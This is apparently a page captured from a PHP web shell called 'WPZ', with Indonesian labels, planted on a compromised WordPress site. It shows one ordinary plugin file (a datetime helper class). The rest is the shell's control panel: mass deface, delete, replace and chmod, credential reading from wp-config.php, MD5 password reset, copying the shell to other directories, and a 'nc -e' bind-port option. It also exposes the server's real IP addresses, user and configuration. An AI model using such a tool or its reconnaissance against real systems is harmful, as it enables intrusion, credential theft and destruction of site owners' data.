WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-engine / includes / classes / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/includes/classes/datetime.php (2.83 KB)
<?php
/**
 * Datetime management class
 */

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

/**
 * Define Datetime management class
 */
class Jet_Engine_Datetime {

	/**
	 * Check if wp_date used instead fo date to process data
	 * 
	 * @return [type] [description]
	 */
	public function use_wp_date() {
		return apply_filters( 'jet-engine/datetime/use-wp-date', false );
	}

	/**
	 * Return human-readable localized date from timestamp
	 * 
	 * @param  [type] $format [description]
	 * @param  [type] $time   [description]
	 * @return [type]         [description]
	 */
	public function date( $format = null, $time = null ) {
		if ( $this->use_wp_date() ) {
			return wp_date( $format, $time );
		} else {
			return date_i18n( $format, $time );
		}
	}

	/**
	 * Convert string to time according timezone settings
	 * 
	 * @param  [type] $timestring [description]
	 * @return [type]             [description]
	 */
	public function to_time( $timestring ) {
		if ( $this->use_wp_date() ) {

			if ( empty( $timestring ) ) {
				return $timestring;
			}

			$date = new DateTime( $timestring, wp_timezone() );
			return $date->format( 'U' );
		} else {
			return strtotime( $timestring );
		}
	}

	/**
	 * Convert meta value date to timestamp according timezone settings
	 * 
	 * @param  [type] $timestamp [description]
	 * @param  [type] $raw_time  [description]
	 * @return [type]            [description]
	 */
	public function meta_to_time( $timestamp, $raw_time ) {
		return $this->to_time( $raw_time );
	}

	/**
	 * Convert meta value date to formatted date according timezone settings
	 * 
	 * @param  [type] $timestamp [description]
	 * @param  [type] $raw_time  [description]
	 * @return [type]            [description]
	 */
	public function meta_to_date( $formatted_date, $timestamp, $format ) {
		return $this->date( $format, $timestamp );
	}

	/**
	 * Convert meta fileds timestamp dates on save or get field values
	 * @return [type] [description]
	 */
	public function convert_meta_fields_dates() {
		
		add_filter( 'cx_post_meta/strtotime', array( $this, 'meta_to_time' ), 10, 2 );
		add_filter( 'cx_post_meta/date', array( $this, 'meta_to_date' ), 10, 3 );

		add_filter( 'cx_term_meta/strtotime', array( $this, 'meta_to_time' ), 10, 2 );
		add_filter( 'cx_term_meta/date', array( $this, 'meta_to_date' ), 10, 3 );

		add_filter( 'cx_user_meta/strtotime', array( $this, 'meta_to_time' ), 10, 2 );
		add_filter( 'cx_user_meta/date', array( $this, 'meta_to_date' ), 10, 3 );

		add_filter( 'jet-engine/custom-content-types/strtotime', array( $this, 'meta_to_time' ), 10, 2 );
		add_filter( 'jet-engine/custom-content-types/date', array( $this, 'meta_to_date' ), 10, 3 );

		add_filter( 'jet-engine/options-pages/strtotime', array( $this, 'meta_to_time' ), 10, 2 );
		add_filter( 'jet-engine/options-pages/date', array( $this, 'meta_to_date' ), 10, 3 );

	}

}
namawaktuukuranownerpermaksi
..
datetime.php 2026-07-21 14:152.83 KB 76129f60960:kunden-xw-x-----
edt
gallery.php 2026-07-21 14:1512.57 KB 76129f60960:kunden-xw-x-----
edt
help-video-popup.php 2026-07-21 14:157.16 KB 76129f60960:kunden-xw-x-----
edt
icons.php 2026-07-21 14:155.31 KB 76129f60960:kunden-xw-x-----
edt
posts-search.php 2026-07-21 14:153.14 KB 76129f60960:kunden-xw-x-----
edt
repeater-item.php 2026-07-21 14:151.13 KB 76129f60960:kunden-xw-x-----
edt
sanitizer.php 2026-07-21 14:153.56 KB 76129f60960:kunden-xw-x-----
edt
shortcodes.php 2026-07-21 14:158.13 KB 76129f60960:kunden-xw-x-----
edt
tools.php 2026-07-21 14:1528.08 KB 76129f60960:kunden-xw-x-----
edt
url-shemes-manager.php 2026-07-21 14:157.74 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/includes/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK